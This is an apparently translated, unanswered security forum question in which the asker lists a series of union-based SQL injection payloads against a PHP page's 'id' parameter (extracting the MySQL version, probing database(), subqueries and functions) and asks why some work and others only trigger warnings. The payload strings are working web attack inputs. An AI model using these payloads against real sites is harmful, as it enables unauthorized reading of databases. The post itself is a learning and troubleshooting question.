Comportamiento extraño de la aplicación web de inyección SQL

2

Estoy jugando con inyección SQL (solo con fines educativos bla bla) y me quedé atascado en este extraño (para mí) comportamiento de la aplicación web:

Inyecté con éxito la siguiente carga útil

page.php?id=-1 union all select 1,2,3 -- -

y puedo ver el número 3 mostrado en la página. Bueno. Entonces, encontré la versión del servidor MySQL con

page.php?id=-1 union all select 1,2,@@version -- -

que genera 5.5.54 . Ahora, me gustaría encontrar la base de datos seleccionada actualmente, así que lo intenté

page.php?id=-1 union all select 1,2,database() -- -

que da la siguiente advertencia sin producir la salida esperada Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ... .

Después de horas de "prueba" observé los siguientes comportamientos:

(1)
page.php?id=-1 union all select 1,2,@@version -- -
[works, output 5.5.54]

(2)
page.php?id=-1 union all select 1,2,version() -- -
[warning, no output]

(3)
page.php?id=-1 union all select 1,2,'a' -- -
[warning, no output]

(4)
page.php?id=-1 union all select 1,2,2*0.5 -- -
[works, output 1.0]

(5)
page.php?id=-1 union all select 1,2,2-0.5 -- -
[works, output 1.5]

(6)
page.php?id=-1 union all select 1,2,ascii('test') -- -
[warning, no output]

(7)
page.php?id=(select 1) -- -
[works exactly as id=1]

(8)
page.php?id=-1 union all select 1,2,(select 1) -- -
[warning, no output]

(9)
page.php?id=-1 union all select 1,2,select 1 -- -
[warning, no output]

(10)
page.php?id=-1 union all select 1,2,greatest(0,1) -- -
[warning, no output]

(11)
page.php?id=greatest(0, 1) -- -
[works exactly as id=1]

Además, para cada variable de sistema del servidor ( MySQL 5.7 Reference Manual - Server System Variables ) funciona como se esperaba.

No tengo una pregunta específica, pero me parece que todos estos comportamientos no son consistentes (por ejemplo, (1) - (2) o (9) - (10) - (11) o muchos otros).

    
pregunta BlackBrain 25.01.2017 - 00:45
fuente

0 respuestas

Lea otras preguntas en las etiquetas